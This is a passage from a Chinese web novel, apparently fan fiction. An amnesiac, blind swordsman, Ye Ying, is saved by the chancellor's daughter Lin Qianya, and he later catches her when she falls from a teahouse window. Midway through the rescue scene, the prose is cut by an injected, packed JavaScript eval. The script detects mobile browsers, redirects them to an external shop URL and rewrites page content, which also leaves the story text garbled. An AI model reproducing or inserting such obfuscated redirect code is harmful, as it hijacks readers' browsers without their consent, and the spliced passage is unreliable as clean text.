异变陡生! 那异铁仿佛瞬间活了过来,一股庞大到无法形容的洪流,裹挟着无数画面、声音与难以言喻的情感,顺着他的指尖,蛮横地冲入他的脑海! 叶英只觉得头颅仿佛被重锤击中,“嗡”的一声,眼前的一切景象瞬间破碎扭曲旋转!他像是被抛入了一条光怪陆离的隧道,无数碎片疯狂涌来: 一个更加沉默、终日抱剑枯坐于剑冢的身影,年复一年,看花开花落…… 烽火狼烟,山河破碎,熟悉的楼阁在战火中摇曳…… 三弟浑身是血,与人对峙;四弟怒吼着冲入敌阵,周身伤口密布…… 小妹长大了,面容依稀,却泪眼朦胧地回头望了一眼,消失在茫茫人海…… 五弟携着一个女子,在夜色中奔逃,身后是追兵的火把…… 自己立于高台之上,剑气纵横,台下群雄动容…… 闭关的石室,强运剑气后双目刺痛,再睁开时,世界已是一片永恒的黑暗,掌心拂过鬓边,触手皆是冰凉雪色…… 那是另一个“叶英”的一生!更完整,更坎坷,却也更加执着于剑、背负着守护的一生! 无数的剑招心法、生死感悟、爱恨情仇,还有那“无上心剑”最终圆满的磅礴意境……所有这一切,如同狂暴的海啸不顾他能否承受,强行灌入他的脑海深处! “呃——!” 叶英发出一声压抑的痛哼,只觉得周身经脉如同被寸寸撕裂,气血疯狂逆冲,初成的剑心震荡不休,几乎要碎裂开来! 他的身体根本无法承载这跨越时空、强行降临的信息与境界! 自我保护的本能瞬间切断了他的意识。在外人看来,便是少庄主触碰那异铁后,突然面色惨白如纸,闷哼一声便向后倒去,气息骤然萎靡。 更骇人的是,他那头乌黑如墨的长发,竟从发根开始,以肉眼可见的速度寸寸染上霜雪之色! “少庄主!” “快!扶住他!” 舱内瞬间大乱,随从们惊慌失措地扑上来。 然而祸不单行。 几乎就在叶英倒下的同时,原本晴朗的天空骤然阴沉下来!狂风毫无征兆地卷起,乌云迅速遮蔽了天日。 平静的海面顷刻间怒涛汹涌,数丈高的巨浪狠狠拍向船身! “是风暴!抓紧!” 船只如同暴风雨中的一片枯叶,被高高抛起,又重重砸下。 一个前所未有的巨浪如山般压来,船体发出不堪重负的呻吟猛地向一侧倾斜! 混乱中,昏迷不醒、气息微弱的叶英被惯性甩出船舱,白色身影一闪,便坠入了翻腾的海水之中! “少庄主落水了!” “救人!快救人啊!” 呼喊声被狂风巨浪撕得粉碎。在这天地之威面前,人力显得如此渺小。 船员们拼死稳住船身,在叶英落水处附近搜寻,最终只奋力捞起了那块一同坠海的黝黑的异铁。 而藏剑山庄的少庄主,叶英,就此消失在茫茫南海,生死不明。 4. 失忆了?男主已就位 痛,似乎从来没有经历过的剧痛。 黑暗,那是一片一望无际的黑暗。 叶英睁开眼时,眼前就是一片浓稠的、化不开的黑暗。 不,不是睁开眼。 他根本没有“睁开”的感觉。眼皮动了,可光没有进来。 肋骨那边闷闷地钝痛,肩胛骨更是火辣辣地烧着。 他试着提了口气想运转内力,却发现丹田里空荡荡的,经脉也滞涩得厉害。 他还活着。 可这是哪儿? 如此陌生的感觉,我之前也目不能视吗? 不,不是的。 他心头一沉,但却没让自己慌乱下去。 静下心,其他感官便清晰起来。 首先闻到了一股很浓的草药味,不远处有火焰灼烧药罐的声音,药液在罐中翻滚。似乎有个老者在慢悠悠地对着身旁的小童说些什么。 “师父,这人到底是什么来历啊?伤重成这样,七天了都还没起。”医童边捣药边小声问,“穿的那身衣裳料子可好了,还有那块玉佩,看着就不是寻常人家有的。” “少打听。”老大夫声音更低了,“这年头,稀奇古怪的事还少吗?尤其是京城里那些江湖人士,就算是伤重成这样,又哪里奇怪了?……咱们只管治病救人,别的少管。小心惹祸上身。” “可他的伤……” “哎,淤血压了经脉,又受了那么严重的伤,能不能好,看造化吧。”老大夫叹了口气,“那位官小姐给了那么多银子,咱们尽心就是。至于别的……不是咱们该操心的。” 医童“哦”了一声,没再问了。 叶英听不懂他们在说些什么。 是在说他吗? 可惜他现在举步维艰。 身下粗硬的木板床铺了层不厚的褥子。胸口和后背都被布带紧紧缠着,稍微吸气就勒得生疼。 他尝试抬了抬右手手指,敲了敲床板发出一声轻响。 “哎呀,可算醒了!” 那脚步声靠近,停在床边。 “别动,千万别动。”那声音苍老,带着点口音,“您这伤啊,一动就得坏事。” 一只老人粗糙的手扶住他右肩,另一只手将碗沿凑到他唇边。小口给他喂了些温水。 叶英小口喝着。水流过干裂的喉咙,终于让他精神为之清明了些许。 “……多谢。”他声音嘶哑。 “谢老朽做啥?”老大夫接过空碗,“您该谢是那位送您来的小姐。说话客气,一出手就是一百两的银票,还叮嘱老朽用最好的药呢。” 小姐?叶英一怔。 似乎……没有任何印象。 不知道是不是自己认识的人…… 他立刻凝神去想,脑子里却空空荡荡。甚至还感觉到一阵闷疼。 隐隐约约能回想起来的只是一些剑招、心法、内力流转的关窍——这些关于“武”的东西,像刻在骨血里,清晰得惊人。 一套剑法如何起势,如何变招,气走哪条经脉,他都记得清清楚楚,可是唯独有关于人的所有记忆,却空白一片。 他是谁?从何处来? 为何躺在这里?那位“小姐”又是谁? 没有。一丝痕迹也无。 甚至就连姓氏他都有些想不起来。 “……我,”他开口,声音涩得厉害,“是谁?” 他总觉得…… 不该这样,似乎他好像还有很多未完成的事…… 似乎他不该这样出现在这里,似乎……他还有家。 家里有谁来着?……山庄……什么山庄? 是什么? 那两个字……是藏剑吗? 想不起来。 “我的眼睛……” 老大夫沉默了半晌。 “您被送来时,”他慢慢说,“头上也有伤。这记不得事,眼睛也瞧不见……怕是颅内有淤血,压着了。” 失忆。 眼盲。 叶英唇抿成一条直线,搁在身侧的手,无意识地攥紧了被单。 “您也别太焦心。”老大夫语气缓和了些,“等您淤血散了,兴许就能慢慢想起来了。” 他说着窸窸窣窣地在枕头下摸索,拿出两样东西,放进叶英手里。 “您身上就剩下这两样物件了。一块玉佩,一个香囊。香囊里装着三十两银子,是那位小姐留给您的盘缠,说是若您醒了,总要有路费傍身。” 叶英先触到一块微凉的玉。指尖细细抚过,玉质温润,正面雕着繁复纹路。而在中央,他摸到了一个清晰的刻痕。 他顺着那痕迹,一笔一划地描。 葉。 叶。 他姓叶。 心里某处微微一定。 另一件则是个丝绸香囊,触手柔软。他摩挲着,终于在系带旁一个极不起眼的角落,指腹触到一点极其细微的凸起——是绣上去的,也是个字。 林。 “这香囊绣得精巧,藏字的心思也细,”老大夫在旁叹道,“定是位细心人。只可惜那姑娘放下银两和嘱托便走了,连个姓名住处都未曾留下,只说有缘或会再来瞧瞧。” 叶英握着玉佩和香囊,沉默着。 重伤,失忆,目不能视。被一个只留下一个姓氏、来历不明的“小姐”所救。 太巧,也太怪。 是陷阱?还是…… 他凝神在空茫的黑暗中搜寻。似乎……有什么被“林”字牵动了一下。 车轮碾过石路的轱辘声,有些急。 一个女子的声音,平静,却透着挥之不去的疲惫,简短地吩咐:“……送济世堂。” 为何救他? 江湖中人,最忌讳欠下来历不明、意图难测的人情。 可眼下,他连自己是善是恶、是正是邪都忘了,又谈何分辨? 掌心传来玉佩微凉的触感,和香囊柔软的质地。 叶,林。 罢了,先养好伤。等手脚能动,等提起剑—— 剑。 这个念头毫无预兆地撞进心里。 他似乎曾在哪里,被谁严厉告诫过:剑在人在,兵器须臾不可离身。 那感觉遥远模糊,却沉重无比。 那……他的剑呢? 此刻,他没有剑。 只有手中这两样物件,是他在无边黑暗与混沌记忆里,唯一能攥住的东西。 他缓缓收拢手指,将玉佩和香囊握紧。 窗外的市井喧嚣似乎更远了,夜色沉甸甸地压下来。 在这片陌生、古怪、危机四伏的黑暗里,这枚刻着“葉”字的玉佩,和这个绣着“林”字的香囊,成了他仅有的路标。 他得去找。 找到那个“林”姓的姑娘,找到自己失去的一切。 无论前方是什么。 不知过了多久,就在他意识已经沉入黑暗深处时,一个冰冷、机械、毫无感情的声音,突兀地在虚空里响了起来—— 没有任何人能够听到,包括他自己。 『男主已就位』 『记忆复苏进度:0.01/100』 『当前主线任务进度:01-救命之恩』 『女主好感度:10(陌路人)』 林芊雅近来觉轻,天还没大亮,院子里有一点动静她便醒了。 她拥着薄衾坐起来,其实原也不太想睡了。只是近日秋雨连绵,到底让人骨头缝里也酸酸的,便也比往日多困了一会。倒不是被丫鬟吵醒了 外头春华却压低了嗓子在跟人说话,窸窸窣窣的。 “夏棋,你去看看小厨房的水烧上没有?秋月,你带两个人,先把回廊扫一扫。冬书呢?冬书过会儿得去回事处领东西,你让她仔细看单子,可别漏了什么。” 几个声音便低低应了,脚步声也就散开了。 林芊雅躺着听了一会儿,这才掀开帐子。春华正好端着铜盆推门进来,瞧见她坐起身,快走几步过来,脸上就带了笑:“小姐今儿醒得倒巧,水刚煎好,正温着。” 她说着,把盆放在架上,试了试水温,才将绞得半干的热帕子递过来。 林芊雅接过帕子敷在脸上,温热的湿气熨帖着皮肤,驱散了最后一点睡意。听着远处粗使婆子们的洒扫声。 她一边擦脸一边含糊地问:“外头刚才说什么呢?听着像是夏棋她们。” “可不是嘛,”春华接过用过的帕子,顺手拿起梳子,“这不是入秋了,前几日小姐说书房里有点潮气,怕书放坏了。我就想着今儿天气好,等日头上来点,把窗下条案上那些常看的书搬出去晒晒。正吩咐她们准备呢。” 林芊雅点了点头,走到妆台前坐下。铜镜里便映出一张还带着点稚气的脸,眉眼清丽如画。只是可惜染了病气带着苍白。倒平添了些楚楚可怜感。 她看着镜中的自己,心里却想着别的事。 入秋了,雨水是多,书是该晒晒。 自四岁上母亲去了,父亲又忙于朝政,这府里大小事情,从她十二岁起,便慢慢接手管着。 管家娘子们起初还当她是个孩子,事事回禀都带着几分试探,后来见她处置得条理分明,赏罚也公道,这才渐渐真心信服。 到如今,整整四年了,府里上下倒也打理得井井有条。 “晒晒也好。”她看着镜子里春华给她通头发的手,说道,“就晒在回廊下那排条案上吧,那里通风,日头也能斜照过来。记得吩咐她们,手底下轻些,尤其是东边第二架子上那些游记和山水志,纸脆,可别毛手毛脚地弄坏了。” “小姐放心,我都嘱咐过了。”春华手里不停,很快绾好了一个简单清爽的单螺髻。她打开妆匣,里头首饰不多, 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另一个爽利些的女声应道:“知道啦,我的夏棋姐姐,你都念叨三遍了。不就是东二架上的游记、诗赋,还有老爷常看的那几部史书和策论嘛,我昨日就对过单子了,错不了。” 林芊雅听出那是冬书的声音。 林家不算豪奢,规矩却不乱。 春华、夏棋、秋月、冬书,是她身边四个大丫鬟。 春华总管她身边的事,夏棋管着小厨房和她的药膳饮食,秋月管着衣物器皿和房间洒扫,冬书则性子更活络些,识字也会算账,便帮着管些府里的采买、修缮、以及对牌领物之类需要对外打交道的事。下面还有八个二等丫鬟和若干粗使的婆子丫头便也不提了。 看似人多,却层层分明,各管一摊,方能将这偌大一个相府内宅、尤其是小姐这处最要紧的院子,打理得井井有条,让小姐能安心将养,偶尔看看书,或是像老爷期望的那样,学着打理些家务。 春华在旁边跟秋月说话,声音轻轻的。 “回事处那边今日领什么?” “也就是些日常用的。对了,冬书让我跟小姐和姐姐说一声,咱们园子湖心亭那边靠水的几段木头栏杆,她瞧着好像有点松了,怕不安全。问是不是该找外头工匠来修修。” 林芊雅听了,就把碗放下,用帕子擦了擦嘴,说:“松了?那是得修。你让冬书去跟林伯说一声,让他找两个可靠的老匠人来瞧瞧。工钱……从我上月那份例银里支吧,别走公账了。” “哎,我记下了。”秋月应着,又忍不住说,“小姐就是心细。那亭子您一年也去不了两回,还想着这个。” 林芊雅看了她一眼,倒没说什么:“不去是不去,但既然看见了,总不能当没看见。万一哪天爹爹有客来,领到园子里逛,出了岔子就不好看了。” 秋月听了,点点头:“那倒也是。” 春华在一旁听了,就接了话头:“说起来,咱们这园子也十来年没大动过了。老爷一向不爱那些花里胡哨的,就喜欢清静。不过小姐打理得是真好,回廊是回廊,水是水的,看着就舒坦。” 林芊雅听了,嘴角几不可察地弯了一下。冬书这丫头,性子是急了点,但办事还是稳妥的。 她走到窗边的贵妃榻坐下,春华赶紧把那本看到一半的游记拿过来,又在她腿上盖了条薄毯子。 林芊雅翻开书,看了两行。这书她其实挺喜欢看的,里头写的名山大川、风土人情,是她这十六年来几乎从未离开过的京城所没有的广阔天地。看这些的时候,她会暂时忘记府里琐碎的账目、人情往来的斟酌,还有自己这具总是不太争气的身子骨。 但这话她没跟谁说过。跟春华说? 春华大概只会说“小姐想看山水,等身子好了让老爷带您去吧”。 跟爹爹说?爹爹忙朝堂上的事都忙不过来,哪有空听她说这个。不过平白惹爹爹心疼罢了。 她正想着,春华又轻手轻脚进来了,手里端着个小碟子,碟子上放着两块做成小花模样的点心,看着酥酥的。 “小姐,看书费神,吃点东西垫垫吧。”春华把碟子放在她手边的小几上,“这是夏棋新试的方子,用的是牛乳和蜜,没敢放太多糖,说是清甜不腻口。您尝尝?” 林芊雅看了一眼。点心做得挺精巧,白白嫩嫩的。她便伸手拿了一小块,放进嘴里。 确实不很甜,但有股淡淡的奶香,口感也酥松。 “还行。”她说了两个字,眼睛又落回书页上。 春华看她没拒绝,脸上就露出点笑模样,悄悄退了出去。 林芊雅一边看着书上一段描写南边山里采茶人的文字,一边慢慢把手里那块点心吃完了。嘴里还有点淡淡的甜味。 院子里,晒书的丫头们还在轻手轻脚地忙活。 但这样,其实倒也……挺好的。 5. 他好像……找到她了 次日清晨,雨后的空气倒是清新了不少。 云来居是京城有名的茶楼,茶好,点心也精致。临街那排雅座视野开阔,便能看见半条东街的景致。 林承泽从前偶尔得闲,也会带她来这里坐坐,听听书,看看街景。 只是自打前年退了婚,她便不怎么出门了。 一来是身子确实容易乏,二来……却也是懒得听外头那些闲言碎语。连父亲后来提过两次,见她兴致缺缺,也就不再勉强。 今儿倒是个例外。 马车悄没声儿地停在茶楼后头那条僻静的巷子里。 林芊雅由春华扶着,便从侧门直接上了二楼。 掌柜的早就得了吩咐,引着她们径直去了最里头那间,是用一整扇紫檀木屏风隔出来的,清静,倒也避人眼目。 茶是上好的明前龙井,掌柜的亲自端上来的,还陪着笑说道: “林小姐您尝尝,这是今春头一茬的,统共也就得了这么点儿,东家特意留着,专等贵客。” 林芊雅点了点头,没多说。春华塞了个荷包过去,掌柜的便识趣地退下了,还顺手把雅间的门给带严实了。 屋子里就剩主仆二人。 林芊雅执起那盏雨过天青色的瓷杯,浅啜了一口。茶汤倒是清冽,回甘也足,可不知怎么,滑过舌尖后,总泛着点驱不散的微苦。大概是她自个儿心中不解其滋味吧。 她没心思细品,放下杯子,目光便落在对面空着的座位上。 毕竟今儿她不是来喝茶听书的,是来见个人的。 约的是巳时三刻,看时辰,也该到了。 正想着,外头就传来了几声不轻不重的叩门声,听着倒还斯文。 春华看了林芊雅一眼,见她微微颔首,才走到门边,问了声:“谁呀?” 门外是个女子声音,清亮亮的,带着笑意:“可是林小姐?妾身姓薛,昨日递了帖子约见的。” “请进。”林芊雅开口道。 门被推开,一个穿着杏子红缕金百蝶穿花褙子的年轻女子便走了进来。 她约莫二十出头年纪,生得明媚鲜妍,一双眼睛尤其亮,顾盼间神采飞扬。她手里没拿什么帖子,反倒提着个精巧的竹编食盒。 “林小姐,”薛娘子福了福身,笑容爽利,没什么拘谨,“冒昧打扰了。想着空手上门不象话,正好铺子里新试了几样点心,便斗胆带来,请小姐尝尝鲜。” 春华接过食盒,放在桌上打开。里头便是几样做得极精巧的点心,有荷花酥,有玉兔糕,还有一样圆圆胖胖、裹着层淡黄粉子的,林芊雅竟也没见过。 “这是……?”她看向薛娘子。 “这个呀,”薛娘子便笑吟吟地拿起一块,递给林芊雅,“妾身管它叫‘蛋黄酥’。外头是酥皮,里头是红豆沙裹着咸蛋黄,甜咸口的,吃着不腻。小姐试试?” 林芊雅接过,小小咬了一口。外皮果然酥得掉渣,里头的豆沙细甜,中间那颗蛋黄咸香沙润,混在一起,味道倒是新奇,也不难吃。 “薛娘子巧思。”她放下剩下的半块,用帕子按了按嘴角,“点心也尝了,薛娘子今日约我,不会只为了送点心吧?” 薛娘子也在对面坐下了,自己动手倒了杯茶,喝了一口,才笑道:“林小姐是爽快人,那妾身也就不绕弯子了。妾身夫家姓陈,在城门守备处当个小小的捕头。前些日子盘下了东街那间一映居,做些首饰胭脂的小买卖,想必小姐也听说过?” 林芊雅点了点头。春华前几日是提过,说东街新开了家首饰铺子,掌柜的倒是个年轻娘子,口才好,东西样子也新奇。 “听说过。”她说。 “那就好说了。”薛娘子身子微微前倾,压低了点声音,“不瞒小姐,铺子开张这些时日,生意还算过得去。但近日……却遇到点麻烦。” 林芊雅抬眼看着她,没接话。 薛娘子顿了顿,像是斟酌了下词句:“是南安王府那边……有位管事的,前几日在铺子里看中了几样东西,当时没说什么。昨儿却打发人来,说王府近日要采办一批首饰赏人,要一映居包揽了,价格嘛……却压得极低,几乎是本钱价。这还不算,话里话外,还暗示着想让妾身将铺子的份子,让出几成去。” 林芊雅静静听着,手指无意识地摩挲着温热的杯壁。 南安王府。又是他们。 退婚那场闹剧后,两家虽未明着撕破脸,但早就是井水不犯河水。如今这薛娘子的铺子被盯上,是巧合,还是那边知道了什么,故意来试探,或是给她添堵? “薛娘子想让我如何?”林芊雅直接问道。 “妾身不敢奢求太多。”薛娘子说得恳切,“只求小姐能给个名头,允我一映居日后打着相府些许名号行事,对外便说是得了相府小姐青眼,供给些新鲜花样。如此一来,那些想强压价钱,或是想强占份子的人,多少也得掂量掂量。” “代价呢?”林芊雅问。天下没有白得的庇护。 “代价是,一映居日后三成的净利,每月按时送到府上。此外,小姐但凡有什么需要的首饰、脂粉,或是想打点送礼的物件,铺子里一律按本钱供给,绝无二话。”薛娘子显然早有准备,话说得流利,“自然,这一切都在私下,绝不会有损小姐清誉。” 三成利。林芊雅心里飞快盘算了一下。东街铺面的租金、人工、料子本钱,她虽不清楚具体,但一映居生意若真如传闻那般好,这三成也绝不是小数目。 她需要钱吗?父亲是宰相,自然不缺她的用度。但有些事,有些打点,用公中的钱,或是从父亲账上支取,终究不便。她自己那点体己,多半是母亲留下的嫁妆和这些年攒下的月例,不算少,但也经不起大的折腾。 若有个稳妥的进项…… 更重要的是,这薛娘子行事说话,总透着一股子说不出的……怪异。不是坏,就是怪。那些新奇点心,铺子里闻所未闻的拼刀刀说法,还有她此刻谈判时那种过于直白,甚至不像寻常商户女子的利落劲儿。 林芊雅想起近来京城里越来越多的怪事,那些突然冒出来的商场,超市,那些投水撞墙后便像换了个人似的各家女儿……这薛娘子,恐怕也是其中之一。 不过,那又如何呢?这世道越来越光怪陆离,多她一个不多,少她一个不少。只要她能带来实利,不惹麻烦,是什么来历,又有什么要紧? “薛娘子,”林芊雅缓缓开口,“你的提议,我可以考虑。但有三点。” “小姐请讲。”薛娘子眼睛一亮。 “第一,相府的名号,你可以用,但仅限于生意场上的应对,不得牵扯朝政,不得妄言是非,更不得以此欺行霸市。” “这是自然!妾身只想安稳做个生意,绝不敢给相府和小姐抹黑。” “第二,账目每月一清,我会派人去核对。该我的,我不多要;不该我的,我一文不取。” “理当如此!账册随时可供查验。” “第三,”林芊雅看着薛娘子亮晶晶的眼睛,“你铺子里那些新奇花样和说法,怎么来的,我不管。但若因此惹出什么官司或祸端,你得自己担着,与相府无关。到时候,这庇护自然也就没了。” 薛娘子闻言,非但没退缩,反而笑容更深了些,像是松了口气:“小姐放心,妾身晓得分寸。那些不过是些吸引客人的小玩意儿,断不会惹来真麻烦。” 两人又细谈了几句,定了些初步的章程。薛娘子是个极会说话的人,气氛倒也融洽。 正事谈得差不多了,薛娘子便起身告辞,说铺子里还有事要忙。 林芊雅让春华送她出去。 雅间里又静了下来。楼下的喧闹声隔着屏风隐隐传来,比刚才似乎更嘈杂了些,还夹杂着些哄笑和起哄的声响。 林芊雅没太在意。约见的事办完了,她心里松快了些,便又端起那杯已经温了的茶,慢慢喝着。 忽然,楼下那哄闹声里,拔高了一个油滑轻浮的嗓子,听着竟有几分耳熟: “……跟你们说,倚红楼新来的那位芷兰姑娘,啧啧,那才叫绝色!昨晚唱了一曲,叫什么……‘明月几时有,把酒问青天’!你们听听这词儿,多新鲜!比那些老掉牙的强多了!” 另一个声音立刻接上,带着不怀好意的笑:“哟,萧二公子这是又得了新知音啊?不过你说这词儿新鲜,我咋听着有点……不像咱们平日里听的调调?别是哪个穷酸书生胡诌的吧?” “你懂个屁!”先前那声音得意道,“芷兰姑娘说了,这是她家乡的小调,意境高远!你们这些俗人,也就听听十八摸!” 顿时引来一阵更大的哄笑和怪叫。 林芊雅握着茶杯的手顿了顿。 明月几时有,把酒问青天。 这词……乍听是有些旷达,可细细一品,那词句间的孤高与时空之问,岂是寻常青楼女子,或是所谓家乡小调能有的? 她忽然想起薛娘子刚才说话时,偶尔溜出的几个词,什么成本价,净利,核对,还有那蛋黄酥……和这明月几时有,似乎都透着一种相似的,与周遭格格不入的新鲜。 她摇了摇头,把这些杂乱的念头甩开。罢了,想这些做什么。这京城里奇怪的人和事还少吗?只要不犯到她头上,随他们去吧。 她正要叫春华进来,问问时辰是不是该回府了。 就在这时候,楼下那一片喧哗嬉闹声中,猛地炸开一声凄厉至极的惨叫! “杀人啦——!” 紧接着,是桌椅被猛烈撞翻的巨响,杯盘碗盏稀里哗啦碎裂的声音,人群惊恐的尖叫、哭喊、奔逃的脚步声瞬间混作一团! “有江洋大盗!快报官!” “拦住他!别让他跑了!” “我的腿!我的腿被砍中了!” 混乱的声浪便如同沸腾的水,猛地扑了上来,连这二楼雅间紧闭的门窗都似乎被震得嗡嗡作响。 林芊雅惊得站起身,心脏怦怦直跳。春华刚送完薛娘子回来,正走到门口,也被这突如其来的变故吓白了脸,慌忙推门进来:“小姐!楼下……楼下好像出大事了!咱们快走……” 她话还没说完—— “砰!!!” 一声更加沉重、更加可怕的巨响,仿佛就在他们这间雅室隔壁炸开!是厚重的木桌被整个掀翻,狠狠砸在墙板上的声音! 伴随着这声巨响,一股巨大的冲击力猛地从侧面传来! 林芊雅只看见那道隔开雅间的、厚重的紫檀木屏风,发出令人牙酸的呻吟,剧烈地晃动了一下,然后便朝着她所站的位置,轰然倾倒下来! “小姐小心——!”春华撕心裂肺的尖叫在耳边响起。 林芊雅根本来不及做出任何反应,只觉得眼前一黑,沉重的屏风边框已经狠狠撞上了她的腰侧,一股无可抵御的巨力传来,整个人瞬间失去了平衡,被那倾倒的屏风裹挟着,不由自主地向后猛退! 她的身后,就是那扇为了透气而半敞开的、临街的雕花木窗。 冰冷的空气夹杂着楼下街面飘上的尘土气息,扑面而来。 失重的感觉骤然攫住了她。 “小姐小心——!” 她要摔下去了。 可预想中的撞击和剧痛,并没有到来。 她坠入了一个怀抱。 接住她的手臂稳得出奇,在电光石火间精准地卸掉了所有下坠的力道,落地时甚至没有让她感到一丝颠簸。一股极淡的清冽的海棠花香,随着这突如其来的靠近沁入她的鼻尖。 她惊魂未定,下意识地抬头。 撞进一双眼睛。 灰蒙蒙的,仿佛蒙着一层雨雾,没有焦距,却奇异地、精准地“望”着她的方向。 白发如雪,用一根简单的木簪束在脑后。额角一点殷红如血的梅花印记。腰间,悬着一柄样式古朴的长剑。 是半个月前,她在郊外官道上救下的那个人。 “多……多谢公子。”她猛地回过神,意识到此刻的姿势过于贴近,脸上瞬间掠过一丝不易察觉的薄红,迅速向后退开半步,指尖下意识地拢了拢微散的鬓发。 他沉默着,没有立刻回应,只是极轻微地点了下头。 “小姐!小姐您没事吧?吓死奴婢了!”春华连滚带爬地从楼梯口扑过来,声音都带了哭腔。 “无事。”林芊雅轻轻按住春华慌乱的手,目光再次落在那白发男子身上。 他似乎正微微侧着头,“望”着刚才混乱发生的方向。 那几人从二楼另一侧的雅间探出头来,可当他们看清立在楼梯口的白发男子时,明显愣了一下,互相交换了几个眼神,竟没敢再出声滋事,灰溜溜地缩了回去。 林芊雅收回目光,心底那点异样感稍纵即逝。她弯腰,从地上拾起那方飘落的帕子,指尖拂去沾上的微尘。 站起身时,她顿了顿,最终还是朝着那静立的白发公子方向,微微颔首致意:“今日多谢公子相救。告辞。” 说罢,不再多留,便带着惊魂未定的春华转身下楼。 半刻钟前,叶英其实正站在云来居街对面的一个糖画摊子前。 摊主是个笑眯眯的老汉,正舀起一勺熬得金黄的糖稀,在光洁的石板上勾勒出一只锦鲤。 叶英其实并不爱吃甜食。只是看见摊子时,突然就心念一动,觉得记忆中应该会有一个人喜欢吃这个,只是摁了摁头,他还是怎么也想不起来到底是谁爱吃这个。 或许是他在摊位前站的时间太久了,便吸引来了周边一串的人偷偷盯着他,习武之人总归身体强健,耳聪目明,再看了看面前的老伯,似乎也觉得自己一直站在这人家摊位前的样子不太好。 便决定买一串,虽然他也不知道给谁吃。 周围孩童纯真的嬉闹惊呼,老汉中气十足的吆喝,还有街市上各种鲜活嘈杂的声响。这些声音、气息、温度,像一根根纤细的丝线将他从那片记忆全无的虚无混沌中,一点点拉回这个真实的人间。 他从袖中摸出几枚铜钱,刚想递给摊主。 可铜板还没递出去。 楼上的骚动起得极其突然——沉重的木桌被掀翻的闷响,杯碟瓷盏碎裂的刺耳噪音,醉汉粗嘎暴怒的咆哮,还有……夹杂在其中的,一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224170|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子短促而清晰的惊呼。 那声音并不尖锐,甚至带着竭力维持的镇定,却猝不及防地刺入他耳中。 于是,身体比混沌的思绪动得更快。 风声掠过耳畔。 他足尖在青石板路上极轻一点,身形已如一片毫无重量的羽毛,循着那惊呼传来的方位,精准地掠至二楼窗边。 他伸出手,于千钧一发之际,稳稳揽住了那片下坠的轻盈。 接住的瞬间,那股熟悉的带着些回甘的药草味和一丝花果味的熏香就扑面而来。 和他怀中贴身收藏的那只锦囊上,日日夜夜萦绕不散的淡雅气息,分毫不差。 “多……谢公子。”怀中的声音带着受惊后本能的微颤,却很快被她自己强行压下。她退开的动作又快又稳。 他下意识抬了抬手,想去扶她站稳,手臂却在半空中微微一顿,随即不动声色地收回。 ……官家小姐,最重清誉闺仪,忌讳与外男接触。方才情急出手已是逾矩。 “可有伤着?”他问,声音是一贯的平淡。 “我无碍。”她答得简洁,顿了顿,声音里带上一点极细微的探究,“到是公子的眼睛……?” “无碍,旧伤。”他言简意赅。 耳力极佳的他,敏锐地捕捉到她呼吸几不可闻地滞涩了一瞬,很短暂。 然后,她便带着那个惊慌失措的小丫鬟,匆匆离去。礼数周到,态度客气,却也疏离。 叶英独自站在街上,掌心握着那方失落的丝帕。细滑的触感,还有那个隐藏极深的“林”字。 心底某个一直空悬迷雾重重隔着一层玻璃的地方仿佛被这一方帕子擦去了所有迷雾变得清明起来。 他好像……找到她了。 当晚,林府书房。 烛火亮着,林承泽便坐在书案后头,面前摊着本名册,手里捏着朱笔,半天却也没落下。 他其实也不是在看这名册。 这名册正是他前些日子让底下人悄悄整理的,京城里一些家世尚可、年纪相当的子弟名单。 原本想着,等新科榜一发下来,便挑个不错的,让雅儿绣楼招亲。 可现在看着这名册,他就觉得心烦。 窗外传来几声轻轻的叩响,正是三长两短。 林承泽头也没抬:“进来。” 一道黑影便跟没重量似的滑了进来,单膝跪在地上,声音压得低低的:“相爷。” “查明白了?”林承泽放下笔。 “是。”暗卫的声音平板无波,“救小姐的,就是半月前小姐从西郊官道带回,安置在济世堂的那位白发男子。姓名叶英,其余来历……依旧查不到。” 林承泽指尖在光滑的桌面上敲了一下,却没说话。 暗卫便继续往下说:“那人身手极好。从街对面到二楼,也就一眨眼的功夫,接住小姐时力道也卸得巧,落地竟一点声都没有。南安王府萧铭那几个人当时也在,看见他,愣是没敢再吭声。”他停顿了一下,又补充道,“小姐离开后,那人在原地站了一会儿才走。” “白发剑客……呵。” 他其实这会儿心里挺复杂。 白天听说雅儿在茶楼差点出事,他心都揪起来了。后来知道是个陌生男人救的,还是个之前就被雅儿救过的,这就更……让人更复杂了。 有那么一瞬间,他甚至觉得,这整件事都透着一股子安排好的味儿。怎么就这么巧,雅儿救了他,他又救了雅儿,还偏偏都在那个节骨眼上? 可转念一想,这世道,巧合的事儿难道还少吗? 他想起前年南安王府退婚那场闹剧。 萧琰那混账东西当众给雅儿没脸,说什么“药罐子”、“生不出儿子”,弄得满城风雨,雅儿的名声也算是彻底坏了。从那以后,但凡有点头脸的人家,谁还愿意娶相府的病弱千金?避都避不及。 这还不算完。朝堂上也乌烟瘴气。 老皇帝临死前突然神来一笔,竟把皇位传给了毫无根基、母亲只是个宫女的九皇子。 他当年可是实打实押宝在三皇子身上的,谁能想到老头子最后玩这么一出? 新皇登基,对他这种前朝站错队的重臣,能有什么好脸色?明里暗里的敲打也就没停过。 前段时间宫里那位新晋的贵妃闹着要一生一世一双人,满朝文武吵翻天,他也就没掺和。不是他认同,是他太清楚了,这小心眼皇帝正愁找不着茬呢,他何必往上凑? 他这把年纪了,闺女也大了,就想着能安安生生混到致仕,回老家养老去。 可树欲静风不止啊。南安王府那边明面上消停了,暗地里小动作却不断。皇帝这边,也未必真能让他全身而退。 雅儿的婚事,就成了卡在喉咙里的一根刺。 高不成低不就,偏偏还总有人想拿这事儿做文章。 今天突然冒出这么个叶英……林承泽揉了揉发胀的太阳穴。 这人来历成谜,查不到根底,偏偏又有一身离谱的好功夫,长得还……他听暗卫描述,什么白发如雪,额有红梅,貌若好女。 这哪像个正常人?倒像是从什么小说里跑出来的。 要是搁以前,他肯定觉得这人危险,得让雅儿离远点。 